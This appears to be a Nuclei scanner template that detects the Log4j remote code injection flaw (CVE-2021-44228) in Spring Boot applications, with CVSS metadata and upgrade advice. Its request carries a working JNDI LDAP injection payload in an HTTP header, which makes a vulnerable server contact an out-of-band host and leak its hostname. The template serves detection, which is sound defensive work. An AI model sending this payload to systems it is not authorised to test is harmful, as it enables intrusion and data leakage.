2022-03-27 20:16:50 +00:00
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id: springboot-log4j-rce
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info:
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name: Spring Boot Log4j Remote Code Injection
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author: pdteam
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severity: critical
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reference:
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- https://logging.apache.org/log4j/2.x/security.html
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- https://www.lunasec.io/docs/blog/log4j-zero-day/
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- https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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2022-04-22 10:38:41 +00:00
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cvss-score: 10.0
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2022-03-27 20:16:50 +00:00
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cve-id: CVE-2021-44228
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cwe-id: CWE-502
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2022-04-22 10:38:41 +00:00
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remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
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tags: springboot,rce,oast,log4j
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2022-03-27 20:16:50 +00:00
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requests:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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X-Api-Version: ${jndi:ldap://${hostName}.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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